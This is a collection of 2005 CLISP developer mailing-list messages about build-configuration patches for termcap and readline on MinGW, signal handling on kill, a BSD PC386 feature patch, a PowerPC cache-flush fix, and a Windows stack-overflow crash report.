+if test "${with_libtermcap_prefix+set}" = set; then
+  withval="$with_libtermcap_prefix"
+  case "$withval" in
+  (/*) CPPFLAGS="$CPPFLAGS "-I$withval/include
+       LDFLAGS="$LDFLAGS "-L$withval/lib
+esac
+fi;
 LIBTERMCAP="broken"
 echo "$as_me:$LINENO: checking for library containing tgetent" >&5
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Date: Mon Oct 10 21:43:34 2005
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$ cd /tmp
[pjb@thalassa tmp]$ cat cs
#!/usr/local/bin/clisp -ansi -q -norc -K full
(unwind-protect (sleep 60)
    (format t "Clean-up!")
    (finish-output))
[pjb@thalassa tmp]$ ./cs &
[1] 562
[pjb@thalassa tmp]$ kill $!
[1]+  Terminated              ./cs
[pjb@thalassa tmp]$ 

It's rather unfortunate...


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Sam Steingold wrote:

>>./configure --with-mingw --with-readline \
>>            --with-module=dirkey --with-module=pcre \
>>            --with-module=postgresql --with-module=rawsock \
>>            --with-module=wildcard --with-module=zlib \
>>            --with-module=bindings/win32 \
>>            --with-libpcre-prefix=/usr/local \
>>            --with-libtermcap-prefix=/usr/local \
>>            --with-libreadline-prefix=/usr/local \
>>            --with-libpq-prefix=c:/PostgreSQL/8.0 \
>>            --build build-full
> 
> 
> how about this patch?

Better, but...

I do not know what need look...

output of ./configure...:
...
configure: * checks for libraries
checking for library containing tgetent... -ltermcap
checking for rl_filename_completion_function... yes
checking for rl_filename_completion_function declaration...
         extern char* rl_filename_completion_function(const char*, int);
checking whether rl_already_prompted is declared... yes
checking whether rl_readline_name is declared... yes
configure: * checks for OS services
...
Configure findings:
  FFI:        yes (user requested: default)
  readline:   yes
  libsigsegv: yes
./makemake --with-dynamic-ffi  --win32gcc --with-readline
--with-module=dirkey --with-module=pcre --with-module=postgresql
--with-module=rawsock --with-module=wildcard --with-module=zlib
--with-module=bindings/win32 --with-libpcre-prefix=/usr/local
--with-libtermcap-prefix=/usr/local --with-libreadline-prefix=/usr/local
--with-libpq-prefix=c:/PostgreSQL/8.0 --srcdir=../src   > Makefile
...
echo '#define CC "gcc -mno-cygwin"' >> cflags.h.new
echo '#define CFLAGS "-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2
-fexpensive-optimizations -D_WIN32 -DUNICODE -DDYNAMIC_FFI -I."' >>
cflags.h.new
echo '#define CPP "gcc -mno-cygwin -E"' >> cflags.h.new
echo '#define CPPLAGS ""' >> cflags.h.new
echo '#define CLFLAGS "-L/usr/local/lib  -x none"' >> cflags.h.new
echo '#define LIBS "/usr/local/lib/libintl.a /usr/local/lib/libiconv.a
libcharset.a libavcall.a libcallback.a /usr/local/lib/libreadline.a
-ltermcap  -luser32 -lws2_32 -lole32 -loleaut32 -luuid
/usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv"' >> cflags.h.new
echo '#define X_LIBS ""' >> cflags.h.new
...

module readline not build (does not start build)

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-11 13:13:24 +0300]:
>
> Sam Steingold wrote:
>
>>>./configure --with-mingw --with-readline \
>>>            --with-module=dirkey --with-module=pcre \
>>>            --with-module=postgresql --with-module=rawsock \
>>>            --with-module=wildcard --with-module=zlib \
>>>            --with-module=bindings/win32 \
>>>            --with-libpcre-prefix=/usr/local \
>>>            --with-libtermcap-prefix=/usr/local \
>>>            --with-libreadline-prefix=/usr/local \
>>>            --with-libpq-prefix=c:/PostgreSQL/8.0 \
>>>            --build build-full
>> 
>> 
>> how about this patch?
>
> Better, but...

OK, how about now?

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Index: src/makemake.in
===================================================================
RCS file: /cvsroot/clisp/clisp/src/makemake.in,v
retrieving revision 1.607
diff -u -w -r1.607 makemake.in
--- src/makemake.in	30 Sep 2005 15:42:05 -0000	1.607
+++ src/makemake.in	11 Oct 2005 17:00:40 -0000
@@ -519,7 +519,8 @@
      DVIPDF='@DVIPDF@'                   # either 'dvipdf' or ''
      GMALLOC='@GMALLOC@'                 # either 'gmalloc' or ''
      LIBS='@LIBS@'                       # list of system libraries
-     LIBTERMCAP='@LIBTERMCAP@'           # either '-ltermcap' or '-lncurses'
+     LIBTERMCAP='@LIBTERMCAP@'           # '-L/usr/??/lib' or 'broken' or ''
+     INCTERMCAP='@INCTERMCAP@'           # '-I/usr/??/include' or ''
      LIBICONV='@LIBICONV@'               # either '-liconv' or ''
      LIBSIGSEGV='@LTLIBSIGSEGV@'         # '-lsigsegv -L/usr/local/lib' or ''
      X_INCLUDES='@X_INCLUDES@'           # either '-I/usr/somewhere/include' or ''
@@ -966,7 +967,6 @@
   LIBICONV=`echo " $LIBICONV " | sed -e 's, -lc ,,g' -e 's,^ ,,' -e 's, $,,'`
   LIBINTL=`echo " $LIBINTL " | sed -e 's, -lc ,,g' -e 's,^ ,,' -e 's, $,,'`
   LIBSIGSEGV=`echo " $LIBSIGSEGV " | sed -e 's, -lc ,,g' -e 's,^ ,,' -e 's, $,,'`
-  LIBTERMCAP=`echo " $LIBTERMCAP " | sed -e 's, -lc ,,g' -e 's,^ ,,' -e 's, $,,'`
 fi
 if [ $TSYS = master -o $TOS = unix ] ; then
   OS_INCLUDES=$OS_INCLUDES' unix'
@@ -1492,6 +1492,10 @@
   XCFLAGS=$XCFLAGS' -DNO_TERMCAP_NCURSES'
   LIBTERMCAP=""
 fi
+if [ "${LIBTERMCAP}" != "broken" -a -n "${LIBTERMCAP}" ]; then
+  XCFLAGS=${XCFLAGS}" ${INCTERMCAP}"
+  XLDFLAGS=${XLDFLAGS}" ${LIBTERMCAP}"
+fi
 
 # the type of library naming
 if [ ${HOS} = "win32" -a ${HSYS} != "win32gcc" ]; then
@@ -1531,7 +1535,6 @@
   LIBS=$XCL_CHARSETLIB' '$LIBS
 fi
 
-if [ $TOS = unix ] ; then
   if [ "${with_readline}" = no ]; then
     # --without-readline was supplied
     XCFLAGS=$XCFLAGS' -DNO_READLINE'
@@ -1549,7 +1552,6 @@
       fi
     fi
   fi
-fi
 
 USE_GETTEXT=''
 XCL_GETTEXTLIB=''
Index: src/configure
===================================================================
RCS file: /cvsroot/clisp/clisp/src/configure,v
retrieving revision 1.135
diff -u -w -r1.135 configure
--- src/configure	6 Oct 2005 02:10:27 -0000	1.135
+++ src/configure	11 Oct 2005 17:00:40 -0000
@@ -315,7 +315,7 @@
 # include <unistd.h>
 #endif"
 
-ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBTERMCAP PACKAGE LIBOBJS LTLIBOBJS'
+ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBTERMCAP INCTERMCAP PACKAGE LIBOBJS LTLIBOBJS'
 ac_subst_files=''
 
 # Initialize some variables set by options.
@@ -871,6 +871,7 @@
   --with-libsigsegv-prefix[=DIR]  search for libsigsegv in DIR/include and DIR/lib
   --without-libsigsegv-prefix     don't search for libsigsegv in includedir and libdir
   --with-x                use the X Window System
+  --with-libtermcap-prefix=DIR  search for ncurses and termcap in DIR
   --with-readline         use readline (default is YES, if present)
   --with-libreadline-prefix[=DIR]  search for libreadline in DIR/include and DIR/lib
   --without-libreadline-prefix     don't search for libreadline in includedir and libdir
@@ -24707,7 +24708,19 @@
 { echo "$as_me:$LINENO: * checks for libraries" >&5
 echo "$as_me: * checks for libraries" >&6;}
 
+termcap_prefix=""
+
+# Check whether --with-libtermcap-prefix or --without-libtermcap-prefix was given.
+if test "${with_libtermcap_prefix+set}" = set; then
+  withval="$with_libtermcap_prefix"
+  case "$withval" in (/*) termcap_prefix=$withval; ;; esac
+fi;
+if test x$termcap_prefix != x; then
+  LDFLAGS_save=$LDFLAGS
+  LDFLAGS=$LDFLAGS" -L$termcap_prefix"
+fi
 LIBTERMCAP="broken"
+INCTERMCAP=""
 echo "$as_me:$LINENO: checking for library containing tgetent" >&5
 echo $ECHO_N "checking for library containing tgetent... $ECHO_C" >&6
 if test "${ac_cv_search_tgetent+set}" = set; then
@@ -24834,6 +24847,14 @@
   LIBTERMCAP=""
 fi
 
+if test x$termcap_prefix != x; then
+  LDFLAGS=$LDFLAGS_save
+  if test $LIBTERMCAP != broken; then
+    INCTERMCAP=-I$termcap_prefix/include
+    LIBTERMCAP=-L$termcap_prefix/lib
+  fi
+fi
+
 
 
 
@@ -35224,6 +35245,7 @@
 s,@GMALLOC@,$GMALLOC,;t t
 s,@ALLOCA@,$ALLOCA,;t t
 s,@LIBTERMCAP@,$LIBTERMCAP,;t t
+s,@INCTERMCAP@,$INCTERMCAP,;t t
 s,@PACKAGE@,$PACKAGE,;t t
 s,@LIBOBJS@,$LIBOBJS,;t t
 s,@LTLIBOBJS@,$LTLIBOBJS,;t t


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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-10-11 06:42:58 +0200]:
>
> $ cd /tmp
> [pjb@thalassa tmp]$ cat cs
> #!/usr/local/bin/clisp -ansi -q -norc -K full
> (unwind-protect (sleep 60)
>     (format t "Clean-up!")
>     (finish-output))
> [pjb@thalassa tmp]$ ./cs &
> [1] 562
> [pjb@thalassa tmp]$ kill $!
> [1]+  Terminated              ./cs
> [pjb@thalassa tmp]$ 
>
> It's rather unfortunate...

fixed in the cvs.
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Sam Steingold wrote:

> OK, how about now?

Excuse me, I have some problems with internet (I cannot use CVS).
Update cvs-tarball more often is possible?

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-12 12:07:59 +0300]:
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> Sam Steingold wrote:
>
>> OK, how about now?
>
> Excuse me, I have some problems with internet (I cannot use CVS).
> Update cvs-tarball more often is possible?

you do not need CVS - just apply the patch I sent you to whatever you
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Sam Steingold wrote:

 > you do not need CVS - just apply the patch I sent you to whatever you
> have at the moment.
> 

Oops, sorry...

hmm...

config.log:
...
configure:24806: gcc -mno-cygwin -o conftest.exe -g -O2
-I/usr/local/include  -L/usr/local conftest.c -ltermcap   >&5
C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe:
cannot find -ltermcap
collect2: ld returned 1 exit status
...

why -L/usr/local (not -L/usr/local/lib)?

as result:

./makemake --with-dynamic-ffi  --win32gcc --with-readline
--with-module=dirkey --with-module=pcre --with-module=postgresql
--with-module=rawsock --with-module=wildcard --with-module=zlib
--with-module=bindings/win32 --with-libpcre-prefix=/usr/local
--with-libtermcap-prefix=/usr/local --with-libreadline-prefix=/usr/local
--with-libpq-prefix=c:/PostgreSQL/8.0 --srcdir=../src   > Makefile
makemake: configure failed to detect readline

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-10-12 17:23:25 +0300]:
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> Sam Steingold wrote:
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>  > you do not need CVS - just apply the patch I sent you to whatever you
>> have at the moment.
>
> why -L/usr/local (not -L/usr/local/lib)?

typo
please try the appended patch instead.
(or just replace "-L/usr/local " with "-L/usr/local/lib " in configure)

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Index: configure
===================================================================
RCS file: /cvsroot/clisp/clisp/src/configure,v
retrieving revision 1.135
diff -u -w -u -b -w -i -B -r1.135 configure
--- configure	6 Oct 2005 02:10:27 -0000	1.135
+++ configure	12 Oct 2005 15:53:44 -0000
@@ -315,7 +315,7 @@
 # include <unistd.h>
 #endif"
 
-ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBTERMCAP PACKAGE LIBOBJS LTLIBOBJS'
+ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBTERMCAP INCTERMCAP PACKAGE LIBOBJS LTLIBOBJS'
 ac_subst_files=''
 
 # Initialize some variables set by options.
@@ -871,6 +871,7 @@
   --with-libsigsegv-prefix[=DIR]  search for libsigsegv in DIR/include and DIR/lib
   --without-libsigsegv-prefix     don't search for libsigsegv in includedir and libdir
   --with-x                use the X Window System
+  --with-libtermcap-prefix=DIR  search for ncurses and termcap in DIR
   --with-readline         use readline (default is YES, if present)
   --with-libreadline-prefix[=DIR]  search for libreadline in DIR/include and DIR/lib
   --without-libreadline-prefix     don't search for libreadline in includedir and libdir
@@ -24707,7 +24708,19 @@
 { echo "$as_me:$LINENO: * checks for libraries" >&5
 echo "$as_me: * checks for libraries" >&6;}
 
+termcap_prefix=""
+
+# Check whether --with-libtermcap-prefix or --without-libtermcap-prefix was given.
+if test "${with_libtermcap_prefix+set}" = set; then
+  withval="$with_libtermcap_prefix"
+  case "$withval" in (/*) termcap_prefix=$withval; ;; esac
+fi;
+if test x$termcap_prefix != x; then
+  LDFLAGS_save=$LDFLAGS
+  LDFLAGS=$LDFLAGS" -L$termcap_prefix"
+fi
 LIBTERMCAP="broken"
+INCTERMCAP=""
 echo "$as_me:$LINENO: checking for library containing tgetent" >&5
 echo $ECHO_N "checking for library containing tgetent... $ECHO_C" >&6
 if test "${ac_cv_search_tgetent+set}" = set; then
@@ -24834,6 +24847,14 @@
   LIBTERMCAP=""
 fi
 
+if test x$termcap_prefix != x; then
+  LDFLAGS=$LDFLAGS_save
+  if test $LIBTERMCAP != broken; then
+    INCTERMCAP=-I$termcap_prefix/include
+    LIBTERMCAP=-L$termcap_prefix/lib
+  fi
+fi
+
 
 
 
@@ -35224,6 +35245,7 @@
 s,@GMALLOC@,$GMALLOC,;t t
 s,@ALLOCA@,$ALLOCA,;t t
 s,@LIBTERMCAP@,$LIBTERMCAP,;t t
+s,@INCTERMCAP@,$INCTERMCAP,;t t
 s,@PACKAGE@,$PACKAGE,;t t
 s,@LIBOBJS@,$LIBOBJS,;t t
 s,@LTLIBOBJS@,$LTLIBOBJS,;t t


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Date: Wed Oct 12 10:02:54 2005
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Pascal Bourguignon writes:
> 
> $ cd /tmp
> [pjb@thalassa tmp]$ cat cs
> #!/usr/local/bin/clisp -ansi -q -norc -K full
> (unwind-protect (sleep 60)
>     (format t "Clean-up!")
>     (finish-output))

Thank you for your fast patch.  Here are the positive results I get now:

On Linux 2.4.26/ix86, since the lisp script will write output, it suspends
itself until it gets back the terminal.

On MacOSX 10.3.9/ppc7450, it works as I wanted. 

(in both cases, thru a ssh session, if that matter for the terminal handling).
Perhaps the difference comes from the presence of absence of readline?

Linux:
[pjb@thalassa tmp]$ ssh localhost
19991: socket: Address family not supported by protocol
pjb@localhost's password: 
Last login: Tue Oct  4 11:05:25 2005 from intergruas.easynet.es
Have a lot of fun...
[pjb@thalassa pjb]$ cd /tmp/
[pjb@thalassa tmp]$ ./cs & p=$!
[1] 20060
[pjb@thalassa tmp]$ kill $p

[1]+  Stopped                 ./cs
[pjb@thalassa tmp]$ fg
./cs
Exiting on signal 15
Clean-up!
[pjb@thalassa tmp]$ uname -a
Linux thalassa 2.4.26 #18 Fri Dec 31 15:47:02 CET 2004 i686 unknown unknown GNU/Linux
[pjb@thalassa tmp]$ /usr/local/bin/clisp --version
GNU CLISP 2.35 (2005-08-29) (built 3338094313) (memory 3338094801)
Software: GNU C 3.3 20030226 (prerelease) (SuSE Linux) 
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl   -lsigsegv -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
Features: 
(READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP
 LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI
 GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX)
C Modules: (clisp i18n syscalls regexp readline)
Installation directory: /usr/local/languages/clisp-2.35/lib/clisp/
User language: ENGLISH
Machine: I686 (I686) thalassa.informatimago.com [62.93.174.79]
[pjb@thalassa tmp]$ 



MacOSX:
guardacasa:/tmp pascal$ ./cs & p=$!
[1] 4202
guardacasa:/tmp pascal$ kill $p
guardacasa:/tmp pascal$ Exiting on signal 15
Clean-up!

[1]+  Done                    ./cs
guardacasa:/tmp pascal$ uname -a
Darwin guardacasa.local 7.9.0 Darwin Kernel Version 7.9.0: Wed Mar 30 20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC  Power Macintosh powerpc
guardacasa:/tmp pascal$ /usr/local/bin/clisp --version
GNU CLISP 2.35 (2005-08-29) (built 3338120940) (memory 3338122315)
Software: GNU C 3.3 20030304 (Apple Computer, Inc. build 1495) 
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -L/usr/local/lib  -x none libcharset.a libavcall.a libcallback.a -lncurses  -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
libiconv 1.9
Features: 
(REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
 INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
 BASE-CHAR=CHARACTER UNIX MACOS)
C Modules: (clisp i18n syscalls regexp)
Installation directory: /usr/local/languages/clisp-2.35/lib/clisp/
User language: ENGLISH
Machine: POWER MACINTOSH (POWER MACINTOSH) guardacasa.local [127.0.0.1]
guardacasa:/tmp pascal$ 

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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-10-12 19:01:07 +0200]:
>
> On Linux 2.4.26/ix86, since the lisp script will write output, it suspends
> itself until it gets back the terminal.
>
> On MacOSX 10.3.9/ppc7450, it works as I wanted. 
>
> (in both cases, thru a ssh session, if that matter for the terminal handling).
> Perhaps the difference comes from the presence of absence of readline?

maybe - please try rebuilding --without-readline.

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I noticed that :PC386 not in *FEATURES* in clisp 2.35 installed from
the current FreeBSD ports on i386 FreeBSD 4.11.  Looking at
src/lispbibl.d shows that it is defined for Linux and Cygwin, but not
for FreeBSD, NetBSD, or OpenBSD.

Shouldn't it be defined for the BSD OSes on x386 architectures?

--- src/lispbibl.d.orig	Sat Oct  8 13:49:34 2005
+++ src/lispbibl.d	Sat Oct  8 13:52:22 2005
@@ -122,7 +122,7 @@
   #if (defined(sun) && defined(unix) && defined(sun386))
     #define SUN386
   #endif
-  #if (defined(unix) && (defined(linux) || defined(__CYGWIN32__)) && (defined(i386) || defined(__i386__) || defined(__x86_64__) || defined(__amd64__)))
+  #if (defined(unix) && (defined(linux) || defined(__CYGWIN32__) || defined(__FreeBSD__) || defined (__NetBSD__) || defined (__OpenBSD__)) && (defined(i386) || defined(__i386__) || defined(__x86_64__) || defined(__amd64__)))
     #define PC386
   #endif
   #if (defined(sun) && defined(unix) && defined(mc68020))

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> * T. Kurt Bond <gxo@gxo.zcy.pbz> [2005-10-12 11:15:42 -0400]:
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> I noticed that :PC386 was not in *FEATURES* in CLISP 2.35 installed
> from the FreeBSD ports system on FreeBSD 4.11 i386.  Shouldn't it be
> defined for FreeBSD, NetBSD, and OpenBSD on i386 systems?

good idea.  thanks.

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Pascal Bourguignon writes:
> Sam Steingold writes:
> > > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-08-31 07:20:46 +0200]:
> > >
> > > I don't know if it's supposed to work or not on MacOSX 10.3.9 with a
> > > ppc750 processor, but it doesn't (therefore FFI isn't built into
> > > clisp-2.35 on MacOSX).

I think the problem comes from the fact that in cache-rs6000.c, each
asm declaration contains two asm instructions separated by a
semicolon, which must be taken for a comment by gcc-3.3 and gcc-4.0.

The existing code:

[pjb@triton trampoline_r]$ otool -t -v cache-rs6000-macos.o 
cache-rs6000-macos.o:
(__TEXT,__text) section
___TR_clear_cache:
00000000        icbi    0,r3
00000004        addi    r0,r3,0x4
00000008        icbi    0,r0
0000000c        addi    r9,r3,0x8
00000010        icbi    0,r9
00000014        addi    r0,r3,0xc
00000018        icbi    0,r0
0000001c        addi    r9,r3,0x10
00000020        icbi    0,r9
00000024        addi    r0,r3,0x14
00000028        icbi    0,r0
0000002c        addi    r9,r3,0x18
00000030        icbi    0,r9
00000034        addi    r0,r3,0x1c
00000038        icbi    0,r0
0000003c        addi    r3,r3,0x20
00000040        icbi    0,r3
00000044        sync
00000048        blr
[pjb@triton trampoline_r]$ 



With this cache-rs6000.c file, test1 and test2 succeed on ppc750 (and
still work on ppc7450):

------------------------------------------------------------------------
/* Instruction cache flushing for rs6000, not on AIX */

/*
 * Copyright 1997-1999 Bruno Haible, <bruno@clisp.org>
 *
 * This is free software distributed under the GNU General Public Licence
 * described in the file COPYING. Contact the author if you don't have this
 * or can't live with it. There is ABSOLUTELY NO WARRANTY, explicit or implied,
 * on this software.
 */

void __TR_clear_cache (char* first_addr)
{
  /* Taken from egcs-1.1.2/gcc/config/rs6000/tramp.asm. */

/*
   With gcc-3.3 and gcc-4.0 on ppc750, the normal cache-rs6000.c doesn't work.
   When we otool -t -v test1, we can see that the dcbf and isync instructions
   are missing.  I guess the semicolon is taken as comment start by gcc.
   The same occurs in ppc7450, but it seems to be working altogether, 
   perhaps because the data cache works differently.

   Here is therefore a version that works both on ppc750 /gcc
   and ppc7540 / gcc.
*/

    /*
    (dotimes (i 9) 
     (insert
      (format  "asm volatile (\"icbi 0,%%0\" : : \"r\" (first_addr+%d));\n" 
       (* 4 i)))
     (insert
      (format  "asm volatile (\"dcbf 0,%%0\" : : \"r\" (first_addr+%d));\n" 
       (* 4 i))))
    */

/* Instruction cache flushing for ppc750 / gcc */
asm volatile ("icbi 0,%0" : : "r" (first_addr+0));
asm volatile ("dcbf 0,%0" : : "r" (first_addr+0));
asm volatile ("icbi 0,%0" : : "r" (first_addr+4));
asm volatile ("dcbf 0,%0" : : "r" (first_addr+4));
asm volatile ("icbi 0,%0" : : "r" (first_addr+8));
asm volatile ("dcbf 0,%0" : : "r" (first_addr+8));
asm volatile ("icbi 0,%0" : : "r" (first_addr+12));
asm volatile ("dcbf 0,%0" : : "r" (first_addr+12));
asm volatile ("icbi 0,%0" : : "r" (first_addr+16));
asm volatile ("dcbf 0,%0" : : "r" (first_addr+16));
asm volatile ("icbi 0,%0" : : "r" (first_addr+20));
asm volatile ("dcbf 0,%0" : : "r" (first_addr+20));
asm volatile ("icbi 0,%0" : : "r" (first_addr+24));
asm volatile ("dcbf 0,%0" : : "r" (first_addr+24));
asm volatile ("icbi 0,%0" : : "r" (first_addr+28));
asm volatile ("dcbf 0,%0" : : "r" (first_addr+28));
asm volatile ("icbi 0,%0" : : "r" (first_addr+32));
asm volatile ("dcbf 0,%0" : : "r" (first_addr+32));
asm volatile ("sync");
asm volatile ("isync");
}
------------------------------------------------------------------------

I've not tested FFI yet, only that trampoline_r/test1 and trampoline_r/test2
do succeed on both processors.


So now, I can compile clisp with FFI on my iBook G3:

[pjb@triton clisp]$ /usr/local/bin/clisp --version
GNU CLISP 2.35 (2005-08-29) (built 3338131488) (memory 3338132671)
Software: GNU C 3.3 20030304 (Apple Computer, Inc. build 1495) 
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none libcharset.a libavcall.a libcallback.a -lncurses  -liconv -lsigsegv -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
libiconv 1.9
Features: 
(REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
 INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
 BASE-CHAR=CHARACTER UNIX MACOS)
C Modules: (clisp i18n syscalls regexp)
Installation directory: /usr/local/languages/clisp-2.35/lib/clisp/
User language: ENGLISH
Machine: POWER MACINTOSH (POWER MACINTOSH) triton.local [192.168.0.64]
[pjb@triton clisp]$ cd /tmp
[pjb@triton tmp]$ ./cs & p=$!
[1] 28275
[pjb@triton tmp]$ kill $p
Exiting on signal 15
Clean-up!
[1]+  Done                    ./cs
[pjb@triton tmp]$ 


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This is the version from clisp-2.35-win32-no-pg.zip, running on
Windows XP

    C:\sw\versions\clisp-bin\clisp-2.35> clisp -norc -q
    [1]> (lisp-implementation-version)
    "2.35 (2005-08-29) (built on winsteingoldlap.ad.alphatech.com
    [10.41.52.182])"
    [2]> (defun x () (x))
    X
    [3]> (x)

    *** - Program stack overflow. RESET

    *** - handle_fault error2 ! address = 0xfffffffc not in
	  [0x5ad06410,0x5ad70000)
    !
    SIGSEGV cannot be cured. Fault address = 0xfffffffc.
    Permanently allocated: 89024 bytes.
    Currently in use: 1749208 bytes.
    Free space: 514412 bytes.

    C:\sw\versions\clisp-bin\clisp-2.35>.\clisp.exe --version
    GNU CLISP 2.35 (2005-08-29) (built on winsteingoldlap.ad.alphatech.com [10.41.5
